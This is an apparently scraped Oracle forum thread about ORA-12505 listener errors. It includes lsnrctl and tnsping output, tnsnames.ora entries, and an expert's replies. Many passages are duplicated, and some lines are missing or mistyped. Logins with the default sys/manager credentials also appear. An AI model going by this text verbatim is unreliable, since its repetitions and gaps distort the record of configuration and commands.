ps -ef|grep LISTEN
get no values than
Then I run “lsnrctl start"
ps -ef|grep LISTEN
oracle 230 1 0 Jul 09 ? 0:00 /oracle/rev/7.1.3/bin/tnslsnr LISTNER -inherit
---------
Staging (I logon to staging box through telnet)
--------
ps -ef|grep LISTEN
get no values than
Then I run “lsnrctl start"
ps -ef|grep LISTEN
oracle 230 1 0 Jul 09 ? 0:00 /oracle/rev/7.1.3/bin/tnslsnr LISTNER -inherit
Note: Here is the Oracle version of Listner is 7.1.3.
But my Oracle Server Database version is 7.3.4.5
But my Oracle Server Database version is 7.3.4.5
For the Production we have same version 7.3.4 in both scenarios.
Production:
-----------
oracle 7 22084 22057 0 08:27:02 pts/3 0:00 grep LISTEN
oracle 7 310 1 0 Ju; 09 ? 0:00 /disk/oracle/product/7.3.4/bin/tnslsnr LISTNER
-inherit
-----------
oracle 7 22084 22057 0 08:27:02 pts/3 0:00 grep LISTEN
oracle 7 310 1 0 Ju; 09 ? 0:00 /disk/oracle/product/7.3.4/bin/tnslsnr LISTNER
-inherit
Action 2
---------
At client machine/PC under Orant/bin we have two sqlplus file. +Plus80w &
+Plus33w
I logon from there as follows:
Note: for Production its works fine but I am getting errors for Staging.
---------
At client machine/PC under Orant/bin we have two sqlplus file. +Plus80w &
+Plus33w
I logon from there as follows:
Note: for Production its works fine but I am getting errors for Staging.
For Staging: I am getting errors as below
sys/manager@witstage
SQL*Plus: Release 3.3.4.0.0 - Production on Mon Jul 26 17:53:56 2004
Copyright (c) Oracle Corporation 1979, 1996. All rights reserved.
ERROR: ORA-12505: TNS:listener could not resolve SID given in connect
descriptor
sys/manager@witstage
SQL*Plus: Release 3.3.4.0.0 - Production on Mon Jul 26 17:53:56 2004
Copyright (c) Oracle Corporation 1979, 1996. All rights reserved.
ERROR: ORA-12505: TNS:listener could not resolve SID given in connect
descriptor
+Plus80w.
Here is the result from +Plus80w
sys/manager@witstage
SQL*Plus: Release 8.0.5.0.0 - Production on Mon Jul 26 17:46:21 2004
(c) Copyright 1998 Oracle Corporation. All rights reserved.
ERROR: ORA-12505: TNS:listener could not resolve SID given in connect
descriptor
Here is the result from +Plus80w
sys/manager@witstage
SQL*Plus: Release 8.0.5.0.0 - Production on Mon Jul 26 17:46:21 2004
(c) Copyright 1998 Oracle Corporation. All rights reserved.
ERROR: ORA-12505: TNS:listener could not resolve SID given in connect
descriptor
Action 3
--------
I used telnet to go to directories as below
Staging
/disk/app/oracle/product/7.3.4/network/admin
wits2 44: tnsping witstage
TNS Ping Utility for Solaris: Version 2.3.4.0.0 - Production on 26-JUL-04
16:33:
36
Copyright (c) Oracle Corporation 1995. All rights reserved.
Attempting to contact
(ADDRESS=(COMMUNITY=dhs.world)(PROTOCOL=TCP)(Host=wits2)(P
ort=1521))
OK (120 msec)
wits2 45:
Regards,
Dawar
wits2 44: tnsping witstage
TNS Ping Utility for Solaris: Version 2.3.4.0.0 - Production on 26-JUL-04
16:33:
36
Copyright (c) Oracle Corporation 1995. All rights reserved.
Attempting to contact
(ADDRESS=(COMMUNITY=dhs.world)(PROTOCOL=TCP)(Host=wits2)(P
ort=1521))
OK (120 msec)
wits2 45:
Regards,
Dawar
Followup:
fairly simple (although your environment is a mess -- you should be using the
listener of the HIGHEST version -- not the lowest)
[tkyte@tkyte-pc tkyte]$ oerr ora 12505
12505, 00000, "TNS:listener could not resolve SID given in connect descriptor"
// *Cause: The SID in the CONNECT_DATA was not found in the listener's
tables.
// *Action: Check to make sure that the SID specified is correct.
// The SIDs that are currently registered with the listener can be obtained by
// typing "LSNRCTL SERVICES <listener name>". These SIDs correspond to
// SID_NAMEs in TNSNAMES.ORA, or db_names in INIT.ORA.
// *Comment: This error will be returned if the database instance has not
// registered with the listener; the instance may need to be started.
Tom,
Thanks for your feed back.
Problem has been solved.
Problem has been solved.
I need to stop LISTENER from 7.1.3 directory (disk/rev/7.1.3) and start from
7.3.4 dir ($ORACLE_HOME) and its works.
7.3.4 dir ($ORACLE_HOME) and its works.
Now I am getting correct version for staging environment.
========================
Hi Tom,
I read this page and tried to fix my problem but to no avail!
I have two Oracle Home on a HP-UX box:
ORACLE_HOME=/opt/oracle/product/9.0.1 db1=nmdb01 db2=nmdb02
ORACLE_HOME=/opt/oracle/product/9.2.0 db1=dbo01
ORACLE_HOME=/opt/oracle/product/9.2.0 db1=dbo01
As you see, 9.01 has two DBs and 9.2 has one.
I stopped old listener and started the new one:
I stopped old listener and started the new one:
oracle@hera> lsnrctl stat
LSNRCTL for HPUX: Version 9.0.1.3.0 - Production on 19-JAN-2005 13:42:35
Copyright (c) 1991, 2001, Oracle Corporation. All rights reserved.
Connecting to
(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=hera.nm.cbc.ca)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for HPUX: Version 9.2.0.1.0 - Production
Start Date 19-JAN-2005 12:53:04
Uptime 0 days 0 hr. 49 min. 31 sec
Trace Level off
Security OFF
SNMP OFF
Listener Parameter File /opt/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File /opt/oracle/product/9.2.0/network/log/listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=hera.nm.cbc.ca)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "dbo01" has 1 instance(s).
Instance "dbo01", status READY, has 1 handler(s) for this service...
Service "nmdb01.cbc.ca" has 1 instance(s).
Instance "nmdb01", status READY, has 1 handler(s) for this service...
Service "nmdb02.cbc.ca" has 1 instance(s).
Instance "nmdb02", status READY, has 1 handler(s) for this service...
The command completed successfully
oracle@hera>
(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=hera.nm.cbc.ca)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for HPUX: Version 9.2.0.1.0 - Production
Start Date 19-JAN-2005 12:53:04
Uptime 0 days 0 hr. 49 min. 31 sec
Trace Level off
Security OFF
SNMP OFF
Listener Parameter File /opt/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File /opt/oracle/product/9.2.0/network/log/listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=hera.nm.cbc.ca)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "dbo01" has 1 instance(s).
Instance "dbo01", status READY, has 1 handler(s) for this service...
Service "nmdb01.cbc.ca" has 1 instance(s).
Instance "nmdb01", status READY, has 1 handler(s) for this service...
Service "nmdb02.cbc.ca" has 1 instance(s).
Instance "nmdb02", status READY, has 1 handler(s) for this service...
The command completed successfully
oracle@hera>
As you see, listener has an instance for all DBs.
I also added DBs to tnsname.ora on both OracleHome:
dbo01 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = dbo01)
)
)
nmdb01 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = nmdb01)
)
)
nmdb02 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = nmdb02)
)
)
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = dbo01)
)
)
nmdb01 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = nmdb01)
)
)
nmdb02 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = nmdb02)
)
)
Almost everything is set. However, when I connect to the old DB using SQLPLUS, I
can not connect to the new DBs from there and vice versa. I mean when
ORACLE_HOME is …./9.0.1 using SQLPLUS, I just can connect to ‘nmdb01’ and
‘nmdb02’ using ‘export ORACLE_SID=nmdb02’. I mean even the following failed:
can not connect to the new DBs from there and vice versa. I mean when
ORACLE_HOME is …./9.0.1 using SQLPLUS, I just can connect to ‘nmdb01’ and
‘nmdb02’ using ‘export ORACLE_SID=nmdb02’. I mean even the following failed:
Could you please tell me why it is like this? Why can’t I connect to 9.2 DB when
Oracle Home is …./9.2.0 or vice versa? and also why can’t I use ‘connect
system@foo’ in sqlplus?
Oracle Home is …./9.2.0 or vice versa? and also why can’t I use ‘connect
system@foo’ in sqlplus?
Best regards,
- Arash
- Arash
===============
Followup:
you are using the wrong listener software, you always use the HIGHEST version
listener -- 9.2 in this case.
make sure your TNS_ADMIN is not pointing to a different location.
test with
connect system/(description=........)
(eg: remove the tnsnames.ora from the equation for a moment)
do this after using the correct listener.
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1105713
